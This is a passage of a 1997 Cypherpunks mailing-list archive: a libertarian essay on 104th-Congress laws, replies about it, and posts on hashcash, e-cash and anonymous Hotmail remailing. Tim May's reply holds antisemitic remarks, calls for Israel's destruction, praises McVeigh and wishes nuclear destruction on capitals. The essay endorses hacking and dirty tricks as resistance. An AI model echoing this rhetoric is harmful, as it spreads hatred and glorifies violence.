>5.  A law banning guns in ill-defined school zones; random
>roadblocks may be used for enforcement; gun-bearing residents
>could become federal criminals just by stepping outside their
>doors or getting into vehicles.

Yeah, like the guy stopped for speeding as he entered the magic "1000
yards" range of a school--at night, no less. The cops searched his car,
found a gun, and charged him under this new felony provision of the gun
laws.

(And they have the nerve to wonder why McVeigh said "Enough!!!")

>7.  A law enabling the executive branch to declare various groups
>"terrorist"--without stating any reason and without the
>possibility of appeal.  Once a group has been so declared, its
>mailing and membership lists must be turned over to the
>government.

Under the Anti-Terrorism Act of 1995, several groups I am linked to are
probably "terrorist" groups. Even donating time or money to groups
interested in the destruction of the illegal Zionist Entity meets this
criterion.

( I have nothing against Jews. Kind of a funny religion, with the silly
hair and all. But harmless. However, the notion that Jews born in Europe
and having European ancestors for 300 or 500 or whatever years, and
"native" ancestors, too, could consult their "Book" and conclude that Arabs
and Palestinians with actual title and possession to land in Haifa,
Jerusalem, etc.  could and should be kicked off and told to go live in
refugee tents in the desert...well, the State of Israel must be destroyed,
and I am proud that unbreakable crypto is helping the "terrorists"
accomplish this. Under Klinton's laws, this makes my support of Cypherpunks
actions a "terrorist act." Read the law.)


>10.  And my personal favorite--a national database, now being
>constructed, that will contain every exchange and observation
>that takes place in your doctor's office.  This includes records
>of your prescriptions, your hemorrhoids and your mental illness.
>It also includes--by law--any statements you  make ("Doc, I'm
>worried my kid may be on drugs," "Doc, I've been so stressed out
>lately I feel about ready to go postal.") and any observations
>your doctor makes about your mental or physical condition,
>whether accurate or not, whether made with your knowledge or not.
>For the time being, there will be zero (count  em, zero) privacy
>safeguards on this data.  But don't worry, your government will
>protect you with some undefined "privacy standards" in a few
>years.

Like the guy who had his guns taken away because his psychiatrist decided
he was a "threat" of some sort....and he was only seeing the shrink because
the courts ordered it as part of a "mediation process" in a divorce case.

Shades of the U.S.S.R. and its psychiatric hospitals. "Anyone who believes
the government is out to get him is obviously delusional...he cannot be
allowed to own weapons of any sort."

A nice racket, eh? No doubt Jefferson and the other Founders would be
interested to learn that the State had figured out a way to disarm anyone
who might ever be a threat to their actions. So much for Jefferson's
revolution every 20 years.

>All of the above items are the law of the land.  Federal law.
>What else do they have in common?
>
>Well, when I ask this question to audiences, I usually get the
>answer, "They're all unconstitutional."

Yep. So what else is nu?

(Nu...E over h...the defining equation of the fireball which will take out
these statists in Washington, Tel Aviv, and the other fascist imperial
capitals.)


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 10 Aug 1997 12:15:07 +0800
To: Vincent Cate <cypherpunks@toad.com
Subject: Re: uncensorable net based payment system?
In-Reply-To: <Pine.LNX.3.95.970731094524.8479A-100000@online.offshore.com.ai>
Message-ID: <v03102801b012ec9a5f93@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:14 AM -0400 7/31/97, Vincent Cate wrote:
>Adam Back <aba@dcs.ex.ac.uk> said:
>But you are right that it is an asset continually dropping in value, so
>it is an odd thing to back a currency with.  Would only want to keep
>enough money in it to do what you currently wanted to do, not as a long
>term investment.
>
>I could imaging just gradually increasing it so that $0.25 for 1 megabyte
>today became $0.25 for 1.1 megabytes in 3 months, or something like that.

Not very different from how one might handle a gold-denominated and backed
ecash coin.  Real gold must be stored in a repository which charges a
storage and handling fee.  This can integrated with the coin value by
applying a negative interest rate to the coin based on the epoch in which
the coin is issued.  So coins are redeemed at a lower than initial value
(assuming no change in the gold value figured in whatever unit it is being
exchanged).

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 10 Aug 1997 09:33:34 +0800
To: cypherpunks@toad.com
Subject: LAND-MINE LEGISLATION
Message-ID: <199708100106.SAA22881@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




LAND-MINE LEGISLATION

by Claire Wolfe

Let me run by you a brief list of items that are "the law" in
America today.  As you read, consider what all these have in
common.

1.  A national database of employed people.
2.  100 pages of new "health care crimes," for which the penalty
is (among other things) seizure of assets from both doctors and
patients.
3.  Confiscation of assets from any American who establishes
foreign citizenship.
4.  The largest gun confiscation in U. S. history--which is also
an unconstitutional ex post facto law and the first law ever to
remove people's constitutional rights for committing a
misdemeanor.
5.  A law banning guns in ill-defined school zones; random
roadblocks may be used for enforcement; gun-bearing residents
could become federal criminals just by stepping outside their
doors or getting into vehicles.
6.  Increased funding for the Bureau of Alcohol, Tobacco and
Firearms, an agency infamous for its brutality, dishonesty and
ineptitude.
7.  A law enabling the executive branch to declare various groups
"terrorist"--without stating any reason and without the
possibility of appeal.  Once a group has been so declared, its
mailing and membership lists must be turned over to the
government.
8.  A law authorizing secret trials with secret evidence for
certain classes of people.
9.  A law requiring that all states begin issuing drivers'
licenses carrying Social Security numbers and "security features"
(such as magnetically coded fingerprints and personal records) by
October 1, 2000.  By October 1, 2006, "Neither the Social
Security Administration or the Passport Office or any other
federal agency or any state or local government agency may accept
for any evidentiary purpose a state driver's license or
identification document in a form other than [one issued with a
verified Social Security number and  security features']."
10.  And my personal favorite--a national database, now being
constructed, that will contain every exchange and observation
that takes place in your doctor's office.  This includes records
of your prescriptions, your hemorrhoids and your mental illness.
It also includes--by law--any statements you  make ("Doc, I'm
worried my kid may be on drugs," "Doc, I've been so stressed out
lately I feel about ready to go postal.") and any observations
your doctor makes about your mental or physical condition,
whether accurate or not, whether made with your knowledge or not.
For the time being, there will be zero (count  em, zero) privacy
safeguards on this data.  But don't worry, your government will
protect you with some undefined "privacy standards" in a few
years.

All of the above items are the law of the land.  Federal law.
What else do they have in common?

Well, when I ask this question to audiences, I usually get the
answer, "They're all unconstitutional."

True.

My favorite answer came from an eloquent college student who
blurted, "They all SUUUCK!"

Also true.

But the saddest and most telling answer is: They were all the
product of the 104th Congress.  Every one of the horrors above
was imposed upon you by the Congress of the Republican
Revolution--the Congress that pledged to "get government off your
back."

All of the above became law by being buried in larger bills.  In
many cases, they are hidden sneak attacks upon individual
liberties that were neither debated on the floor of Congress nor
reported in the media.  For instance, three of the most horrific
items (the health care database, asset confiscation for foreign
residency and the 100 pages of health care crimes) were hidden in
the Kennedy-Kassebaum Health Insurance Portability and
Accountability Act of 1996 (H.R. 3103).  You didn't hear about
them at the time because the media was too busy celebrating this
"moderate, compromise" bill that "simply" ensured that no
American would ever lose insurance coverage due to a job change
or a preexisting condition.

Your legislator may not have heard about them, either.  Because
he or she didn't care enough to do so.

The fact is, most legislators don't even read the laws they
inflict upon the public.  They read the title of the bill (which
may be something like "The Save the Sweet Widdle Babies from Gun
Violence by Drooling Drug Fiends Act of 1984").  They read
summaries, which are often prepared by the very agencies or
groups pushing the bill.  And they vote according to various
deals or pressures.

It also sometimes happens that the most horrible provisions are
sneaked into bills during conference committee negotiations,
after both House and Senate have voted on their separate versions
of the bills.  The conference committee process is supposed
simply to reconcile differences between two versions of a bill.
But power brokers use it for purposes of their own, adding what
they wish.  Then members of the House and Senate vote on the
final, unified version of the bill, often in a great rush, and
often without even having the amended text available for review.

I have even heard (though I cannot verify) that stealth
provisions are written into some bills after all the voting has
taken place.  Someone with a hidden agenda simply edits them in
to suit his or her own purposes.  So these time bombs become
"law" without ever having been voted on by anybody.  And who's to
know?  If congresspeople don't even read legislation before they
vote on it, why would they bother reading it afterward?  Are
power brokers capable of such chicanery?  Do we even need to ask?
Is the computer system in which bills are stored vulnerable to
tampering by people within or outside of Congress?  We certainly
should ask.

Whether your legislators were ignorant of the infamy they were
perpetrating, or whether they knew, one thing is absolutely
certain: the Constitution, your legislator's oath to it, and your
inalienable rights (which precede the Constitution) never entered
into anyone's consideration.

Ironically, you may recall that one of the early pledges of Newt
Gingrich and Company was to stop these stealth attacks.  Very
early in the 104th Congress, the Republican leadership declared
that, henceforth, all bills would deal only with the subject
matter named in the title of the bill.

When, at the beginning of the first session of the 104th, pro-gun
Republicans attempted to attach a repeal of the "assault weapons"
ban to another bill, House leaders dismissed their amendment as
not being "germane."

After that self-righteous and successful attempt to prevent
pro-freedom stealth legislation, Congresspeople turned right
around and got back to the dirty old business of practicing all
the anti-freedom stealth they were capable of.

Three other items on my list (ATF funding, gun confiscation and
school zone roadblocks) were also buried in a big bill--H.R.
3610, the budget appropriation passed near the end of the second
session of the 104th Congress.

No legislator can claim to have been unaware of these three
because they were brought to public attention by gun-rights
groups and hotly debated in both Congress and the media.  Yet
some 90 percent of all congresspeople voted for them--including
many who claim to be ardent protectors of the rights guaranteed
by the Second Amendment.

Why?

Well, in the case of my wrapped-in-the-flag, allegedly pro-gun,
Republican congressperson: "Bill Clinton made me do it!"

Okay, I paraphrase.  What she actually said was more like, "It
was part of a budget appropriations package.  The public got mad
at us for shutting the government down in 1994.  If we hadn't
voted for this budget bill, they might have elected a Democratic
legislature in 1996--and you wouldn't want THAT, would you?"

Oh heavens, no!  I'd much rather be enslaved by people who spell
their name with an R than people who spell their name with a D.
Makes all the difference in the world!

The Republicans are fond of claiming that Bill Clinton "forced"
them to pass certain legislation by threatening to veto anything
they sent to the White House that didn't meet his specs.

In other cases (as with the Kennedy-Kassebaum bill), they proudly
proclaim their misdeeds in the name of bipartisanship--while
carefully forgetting to mention the true nature of what they're
doing.

In still others, they trumpet their triumph over the evil
Democrats and claim the mantle of limited government while
sticking it to us and to the Constitution.  The national database
of "workers" was in the welfare reform bill they "forced" Clinton
to accept.  The requirement for SS numbers and ominous "security"
devices on drivers licenses originated in their very own
Immigration Control and Financial Responsibility Act of 1996,
H.R. 2202.

Another common trick, called to my attention by Redmon Barbry,
publisher of the electronic magazine Fratricide, is to hide
duplicate or near-duplicate provisions in several bills.  Then,
when the Supreme Court declares Section A of Law Z to be
unconstitutional, its kissing cousin, Section B of Law Y, remains
to rule us.

Sometimes this particular form of trickery is done even more
brazenly; when the Supreme Court, in its Lopez decision, declared
federal-level school zone gun bans unconstitutional because
Congress demonstrated no jurisdiction, Congress brassily changed
a few words.  They claimed that school zones fell under the
heading of "interstate commerce."  Then they sneaked the
provision into H.R. 3610, where it became "law" once again.

When angry voters upbraid congresspeople about some Big
Brotherish horror they've inflicted upon the country by stealth,
they claim lack of knowledge, lack of time, party pressure,
public pressure, or they justify themselves by claiming that the
rest of the bill was "good."

The simple fact is that, regardless of what reasons legislators
may claim, the U. S. Congress has passed more Big Brother
legislation in the last two years--more laws to enable tracking,
spying and controlling--than any Democratic congress ever passed.
And they have done it, in large part, in secret.

Redmon Barbry put it best: "We the people have the right to
expect our elected representatives to read, comprehend and master
the bills they vote on.  If this means Congress passes only 50
bills per session instead of 5,000, so be it.  As far as I am
concerned, whoever subverts this process is committing treason."

By whatever means the deed is done, there is no acceptable excuse
for voting against the Constitution, voting for tyranny.  And I
would add to Redmon's comments: Those who do read the bills, then
knowingly vote to ravage our liberties, are doubly guilty.  But
when do the treason trials begin?

The truth is that these tiny, buried provisions are often the
real intent of the law, and that the hundred, perhaps thousands,
of pages that surround them are sometimes nothing more than
elaborate window dressing.  These tiny time bombs are placed
there at the behest of federal police agencies or other power
groups whose agenda is not clearly visible to us.  And their
impact is felt long after the outward intent of the bill has been
forgotten.

Civil forfeiture--now one of the plagues of the nation--was first
introduced in the 1970s as one of those buried, almost unnoticed
provisions of a larger law.

One wonders why on earth a "health care bill" carried a provision
to confiscate the assets of people who become frightened or
discouraged enough to leave the country.  (In fact, the entire
bill was an amendment to the Internal Revenue Code.  Go figure.)

I think we all realize by now that that database of employed
people will still be around enabling government to track our
locations (and heaven knows what else about us, as the database
is enhanced and expanded) long after the touted benefits of
"welfare reform" have failed to materialize.

And most grimly of all, our drivers' licenses will be our de
facto national ID card long after immigrants have ceased to want
to come to this Land of Once Free.

It matters not one whit whether the people controlling you call
themselves R's or D's, liberals or conservatives, socialists or
even (I hate to admit) libertarians.  It doesn't matter whether
they vote for these horrors because they're not paying attention
or because they actually like such things.

What matters is that the pace of totalitarianism is increasing.
And it is coming closer to our daily lives all the time.  Once
your state passes the enabling legislation (under threat of
losing "federal welfare dollars"), it is YOUR name and Social
Security number that will be entered in that employee database
the moment you go to work for a new employer.  It is YOU who will
be unable to cash a check, board an airplane, get a passport or
be allowed any dealings with any government agency if you refuse
to give your SS number to the drivers license bureau.  It is YOU
who will be endangered by driving "illegally" if you refuse to
submit to Big Brother's licensing procedures.

It is YOU whose psoriasis, manic depression or prostate troubles
will soon be the reading matter of any bureaucrat with a
computer.  It is YOU who could be declared a member of a "foreign
terrorist" organization just because you bought a book or concert
tickets from some group the government doesn't like.  It is YOU
who could lose your home, bank account and reputation because you
made a mistake on a health insurance form.  Finally, when you
become truly desperate for freedom, it is YOU whose assets will
be seized if you try to flee this increasingly insane country.

As Ayn Rand said in Atlas Shrugged, "There's no way to rule
innocent men.  The only power government has is the power to
crack down on criminals.  Well, when there aren't enough
criminals, one makes them. One declares so many things to be a
crime that it becomes impossible for men to live without breaking
laws."

It's time to drop any pretense.  We are no longer law-abiding
citizens. We have lost our law-abiding status.  There are simply
too many laws to abide.

And because of increasingly draconian penalties and electronic
tracking mechanisms, our "lawbreaking" places us and our families
in greater jeopardy every day.

The question is: What are we going to do about it?

Write a nice, polite letter to your congressperson?  Hey, if you
think that'll help, I've got a bridge you might be interested in
buying.  (And it isn't your "bridge to the future," either.)

Vote "better people" into office?  Oh yeah, that's what we
thought we were doing in 1994.

Work to fight one bad bill or another?  Okay.  What will you do
about the 10 or 20 or 100 equally horrible bills that will be
passed behind your back while you were fighting that little
battle?  And let's say you defeat a nightmare bill this year.
What are you going to do when they sneak it back in, at the very
last minute, in some "omnibus legislation" next year?  And what
about the horrors you don't even learn about until two or three
years after they become law?

Should you try fighting these laws in the courts?  Where do you
find the resources?  Where do you find a judge who doesn't have a
vested interest in bigger, more powerful government?  And again,
for every one case decided in favor of freedom, what do you do
about the 10, 20 or 100 in which the courts decide against the
Bill of Rights?

Perhaps you'd consider trying to stop the onrush of these horrors
with a constitutional amendment--maybe one that bans "omnibus"
bills, requires that every law meet a constitutional test or
requires all congresspeople to sign statements that they've read
and understood every aspect of every bill on which they vote.
Good luck!  Good luck, first, on getting such an amendment
passed.  Then good luck getting our Constitution-scorning
"leaders" to obey it.

It is true that liberty requires eternal vigilance, and part of
that vigilance has been, traditionally, keeping a watchful eye on
laws and on lawbreaking lawmakers.  But given the current pace of
law spewing and unconstitutional regulation-writing, you could
watch, plead and struggle "within the system" 24 hours a day for
your entire life and end up infinitely less free than when you
began.  Why throw your life away on a futile effort?

Face it.  If "working within the system" could halt tyranny, the
tyrants would outlaw it.  Why do you think they encourage you to
vote, to write letters, to talk to them in public forums?  It's
to divert your energies.  To keep you tame.

"The system" as it presently exists is nothing but a rat maze.
You run around thinking you're getting somewhere.  Your masters
occasionally reward you with a little pellet that encourages you
to believe you're accomplishing something.  And in the meantime,
you are as much their property and their pawn as if you were a
slave.  In the effort of fighting them on their terms and with
their authorized and approved tools, you have given your life's
energy to them as surely as if you were toiling in their cotton
fields, under the lash of their overseer.

The only way we're going to get off this road to Hell is if we
jump off. If we, personally, as individuals, refuse to cooperate
with evil.  How we do that is up to each of us.  I can't decide
for you, nor you for me. (Unlike congresspeople, who think they
can decide for everybody.)

But this totalitarian runaway truck is never going to stop unless
we stop it, in any way we can.  Stopping it might include any
number of things: tax resistance; public civil disobedience;
wide-scale, silent non-cooperation; highly noisy non-cooperation;
boycotts; secession efforts; monkey wrenching; computer hacking;
dirty tricks against government agents; public shunning of
employees of abusive government agencies; alternative,
self-sufficient communities that provide their own medical care
and utilities.

There are thousands of avenues to take, and this is something
most of still need to give more thought to before we can build an
effective resistance.  We will each choose the courses that are
right for our own circumstances, personalities and beliefs.

Whatever we do, though, we must remember that we are all,
already, outlaws.  Not one of us can be certain of getting
through a single day without violating some law or regulation
we've never even heard of.  We are all guilty in the eyes of
today's "law."  If someone in power chooses to target us, we can
all, already, be prosecuted for something.

And I'm sure you know that your claims of "good intentions" won't
protect you, as the similar claims of politicians protect them.
Politicians are above the law.  YOU are under it.  Crushed under
it.

When you look at it that way, we have little left to lose by
breakings laws creatively and purposefully.  Yes, some of us will
suffer horrible consequences for our lawbreaking.  It is very
risky to actively resist unbridled power.  It is especially risky
to go public with resistance (unless hundreds of thousands
publicly join us), and it becomes riskier the closer we get to
tyranny.  For that reason, among many others, I would never
recommend any particular course of action to anyone--and I hope
you'll think twice before taking "advice" from anybody about
things that could jeopardize your life or well-being.

But if we don't resist in the best ways we know how--and if a
good number of us don't resist loudly and publicly--all of us
will suffer the much worse consequences of living under total
oppression.

And whatever courses of action we choose, we must remember that
this legislative "revolution" against We the People will not be
stopped by politeness.  It will not be stopped by requests.  It
will not be stopped by "working within a system" governed by
those who regard us as nothing but cattle.  It will not be
stopped by pleading for justice from those who will resort to any
degree of trickery or violence to rule us.

It will not be stopped unless we are willing to risk our lives,
our fortunes and our sacred honors to stop it.

I think of the words of Winston Churchill: "If you will not fight
for the right when you can easily win without bloodshed, if you
will not fight when your victory will be sure and not so costly,
you may come to the moment when you will have to fight with all
the odds against you and only a precarious chance for survival.
There may be a worse case.  You may have to fight when there is
no chance of victory, because it is better to perish than to live
as slaves."

***********************

NOTES on the laws listed above:

1. (Employee database) Welfare Reform Bill, H.R. 3734; became
public law 104-193 on 8/22/96; see section 453A.

2.  (Health care crimes) Health Insurance Portability and
Accountability Act of 1996, H.R. 3103; became public law 104-191
on 8/21/96.

3. (Asset confiscation for citizenship change) Same law as #2;
see sections 511-513.

4, 5, and 6. (anti-gun laws) Omnibus Appropriations Act, H.R.
3610; became public law 104-208 on 9/30/96.

7 and 8. (Terrorism & secret trials) Antiterrorism and Effective
Death Penalty Act of 1996, S. 735; became public law 104-132 on
4/24/96; see all of Title III, specifically sections 302 and 219;
also see all of Title IV, specifically sections 401, 501, 502 and
503.

9. (De facto national ID card) Began life in the Immigration
Control and Financial Responsibility Act of 1996, sections 111,
118, 119, 127 and 133; was eventually folded into the Omnibus
Appropriations Act, H.R. 3610 (which was itself formerly called
the Defense Appropriations Act--but we wouldn't want to confuse
anyone, here, would we?); became public law 104-208 on 9/30/96;
see sections 656 and 657 among others.

10. (Health care database) Health Insurance Portability and
Accountability Act of 1996, H.R. 3103; became public law 104-191
on 8/21/96; see sections 262, 263 and 264, among others.  The
various provisions that make up the full horror of this database
are scattered throughout the bill and may take hours to track
down.; this one is stealth legislation at its utmost sneakiest.

And one final, final note: Although I spent aggravating hours
verifying the specifics of these bills (a task I swear I will
never waste my life on again!), the original list of bills at the
top of this article was NOT the result of extensive research.  It
was simply what came off the top of my head when I thought of Big
Brotherish bills from the 104th Congress.  For all I know,
Congress has passed 10 times more of that sort of thing.  In
fact, the worst "law" in the list--#9, the de facto national ID
card--just came to my attention as I was writing this essay,
thanks to the enormous efforts of Jackie Juntti and Ed Lyon and
others, who researched the law.  Think of it: Thanks to
congressional stealth tactics, we had the long-dreaded national
ID card legislation for five months, without a whisper of
discussion, before freedom activists began to find out about it.
Makes you wonder what else might be lurking out there, doesn't
it?

And on that cheery note---

THE END

Copyrighted by Claire Wolfe. Permission to reprint freely
granted, provided the article is reprinted in full and that any
reprint is accompanied by this copyright statement.
-- 
=====================================================================
        LIBERTY NORTHWEST CONFERENCE AND DISCUSSION GROUP
"The only Libertarian-oriented political discussion group on the
Fidonet Z1 Backbone"...  Fidonet 1:346/16 -*- SYSOPS AREAFIX:  LIB_NW
Visit Liberty Northwest on the Web http://www.saldivar.com/lib_nw/
Email Subscriptions via the Internet:  subscribe@libnw.circuit.com

..Liberty is NEVER an option... only a condition to be lost!
======================================================================









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 10 Aug 1997 09:43:08 +0800
To: cypherpunks@toad.com
Subject: Re: Masons and Fnords
Message-ID: <1.5.4.32.19970810010927.006e3e24@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>--Tim May, 34th Degree Mason, former resident of Alexandria, home of the
>Masonic Temple.

Now this is modest understatement with regard to this MT, the Godzilla
of Masonic Temples, worth a side trip from the Capital of the Freeh
World. You won't believe your eyes at this pyramid scheme putting the
originals at Giza to shame.

That over-reaching Alexandria Masonic Temple is matched only by the 
Mormon in Utah and the Buddhist in W.VA and St. Peters and Angor Wat 
and ... Billy Gates' Xanadu.

Oh my, we archies yearn for return of the big piles staircasing to any jesus
that
moves your mountains of loot from your temple to ours.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 11 Aug 1997 23:38:40 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: some hashcash advocacy (was Re: anti-spam law implies laws against remailers?)
In-Reply-To: <199708082145.WAA01973@server.test.net>
Message-ID: <Pine.LNX.3.91.970809220106.458C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> As an interim upgrade path ISPs adopting it could be to bounce
> messages with out payments, and include a nonce, and instructions to
> resend including the nonce.  Set up the filter so that the second post
> gets through.  Spammers often don't have forged reply addresses for
> obvious reasons.  

I don`t think we even want to get into the issue of ISPs being involved 
in hashcash or any other form of postage, a better system is a simple 
user<->user model where the users mail reader can be configured to filter 
email without hashcash, procmail scripts to do this wouldn`t be hard 
either I imagine (disclaimer: I`m no procmail expert, and this may be 
entirely wrong).

Any form of ISP censorship, bouncing or filtering is a bad move.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 10 Aug 1997 11:22:08 +0800
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: OverRun Msgs Re: Denning questions/reverses her position?
In-Reply-To: <199708010622.AAA19605@infowest.com>
Message-ID: <199708100318.WAA18360@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199708010622.AAA19605@infowest.com>, on 08/01/97 
   at 06:10 AM, "Attila T. Hun" <attila@hun.attila.org> said:

>    dunno why the message was repeated at cyberpass --each of the 55
>    copies I received as of 20 minutes ago has exactly the same header
>    date from cyberpass.  that and one of them smoked the primary
>    mailbox with a couple hundred null characters.  hun.attila.org
>    was offline so it could not have generated the extra messages --so
>    where did they loop?  only the shadow knows. If it is something
>    by remote SMPT added on, I apologize for the inconvenience.

Hi,

Sorry I'm late on this but I just got back from vacation. :)

Seems to have been a problem at infowest.com as all the messages have
unique message ID's from that domain.

I'll be trying to catch up on my mail this weekend but there were +3000
messages in my mailbox so it may take awhile (at least I only have to
reply to attila's +50 messages once <g>).


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+0lYI9Co1n+aLhhAQHMxgP/fBCGYkO854JbZGc5lwNbfIja9ydRsdSN
UHlaorboNQM2TXsWPJyRSgEagzH3kptanLNeLxOJTOIW1WiArF/JBzQXRtWex5BP
m7ElRdut96/fvHy6Y/YZsgsTq6HYFmjjr5vUwQd+SMgS/EBkceg63jx2kUPMf9yv
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "last deliverer" <ldeliverer@hotmail.com>
Date: Sun, 10 Aug 1997 13:33:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Using Hotmail as an exit remailer
Message-ID: <199708100521.WAA24747@f36.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Congratulations to Ian Goldberg on his great script for sending via

Hotmail!  This is sent using the script, with the following info.

The proxy comes from the web page Ian supplied:



$login is "ldeliverer";

$passwd is "xxxx";

$proxyhost is 'secure.escape.ca';

$proxyport is 80;



(Warning: sometimes hotmail eats equals signs.)



The only problem is you need to install several extra modules into Perl.

I had to add these packages:



Data-Dumper-2.07

IO-1.15

MD5-1.7

MIME-Base64-2.03

libnet-1.0505

libwww-perl-5.10



Now let's modify it to work with rocketmail, usa.net, etc.  Be nice to

see an account-creation script, too.



Good job, Ian.


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 10 Aug 1997 13:49:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: some hashcash advocacy
In-Reply-To: <19970808165350.55775@bywater.songbird.com>
Message-ID: <19970809223727.64534@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Aug 09, 1997 at 10:14:28AM +0100, Adam Back wrote:
[...]
> You missed one aspect of the design.  What the collision is calculated
> on is the recipients email address.  If the collision is on someone
> elses email address, you reject it out of hand.

Ah -- of course.  

[...]

> [btw: Kent: I tried out your .midi file under win95, all I had to do
> was double click on it.  Almost melodic in an weird modern sort of
> way.  Most cool anyway :-]

Of course, I am prejudiced, but I seriously think it qualifies as
legitimate art.  I spent a fair amount of time tweaking things so it
would sound good to my ear. 

Years ago I did a lot of experimentation with algorithmically
generated music -- it really grows on you.  In "the old days" of DOS I
had code that would drive a midi synth directly -- putting things to
midi files makes things static, and not quite as interesting -- I liked 
having things that never sounded exactly the same thing twice.  But I
haven't had time to keep up with midi drivers in the Windows world. 

But this experiment sends my mind twitching off in other aesthetic 
directions -- your code was short enough so that it isn't boring -- 
if you had 20 minutes of "music" like that it would drive you nuts, 
and I would like to try some longer things -- a couple hundred lines 
of C code, for example.  To make that work I was thinking of putting 
in a strong basic harmonic background, like a blues progression, and 
using the code text to drive a solo voice over it.  Something like 
the "Triple-DES blues"...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Sat, 9 Aug 1997 22:44:26 +0800
To: cypherpunks@toad.com
Subject: State Governments Cash In On Illegal Taxes
Message-ID: <199708091415.AAA03906@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----



Following the the ruling of the High Court of Australia finding that
billions of dollars in taxation revenue collected by the states was
illegal and unconstitutional the Premiers of Victoria and NSW have
made statements that their respective governments will not be
refunding the unlawfully collected taxes paid in advance by certain
hoteliers. To do so would be an unjust windfall the Premiers said. The
governments continue to act unlawfully collecting 'taxes' with no
lawful or constitutional basis.

The government of Queensland today in a press statement advised it
would be returning any unlawfully imposed taxes paid in advance.

No mention was made of any intention to refund taxes previously
collected but not paid in advance.

- --
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   
>::::::::::\\\     PGP mail preferred                  Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 10 Aug 1997 15:27:20 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Denning backs away from GAK
In-Reply-To: <19970802043128.30258.qmail@zipcon.net>
Message-ID: <Pine.LNX.3.95.970810001709.343A-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 1 Aug 1997, Mike Duvos wrote:
> This is obviously the strategy here.  If we lend credibility to the
> examination of chicken entrails because the Sorcerer is saying something
> we agree with, then we are powerless to denounce the process as flim-flam
> when we wake up one morning and find ourselves no longer in the Sorcerer's
> graces. 

	Nonsense. 

	If we were dealing with rational people here, or even people 
irrational people who had an attention span & a memory, you would be right,
but we are dealing with the USG, and the electorate. Their attention span
won't get them across a street without loosing interest, and when they get
to the other side, they have forgotten what they were after any way. 

> As Tim says, stick with Constitutional arguments, not utilitarian ones,
> and beware of Wise Persons from the East bearing Gifts.

	Problem is, the constitution isn't worth the paper it is printed 
on any more.

Petro, Christopher C.
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 10 Aug 1997 16:44:04 +0800
To: cypherpunks@toad.com
Subject: Re: uncensorable net based payment system?
In-Reply-To: <v03102801b012ec9a5f93@[10.0.2.15]>
Message-ID: <9oo8ae7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear <azur@netcom.com> writes:

> Not very different from how one might handle a gold-denominated and backed
> ecash coin.  Real gold must be stored in a repository which charges a
> storage and handling fee.  This can integrated with the coin value by
> applying a negative interest rate to the coin based on the epoch in which
> the coin is issued.  So coins are redeemed at a lower than initial value
> (assuming no change in the gold value figured in whatever unit it is being
> exchanged).

I used to models of various commodities and the common wisdom is:

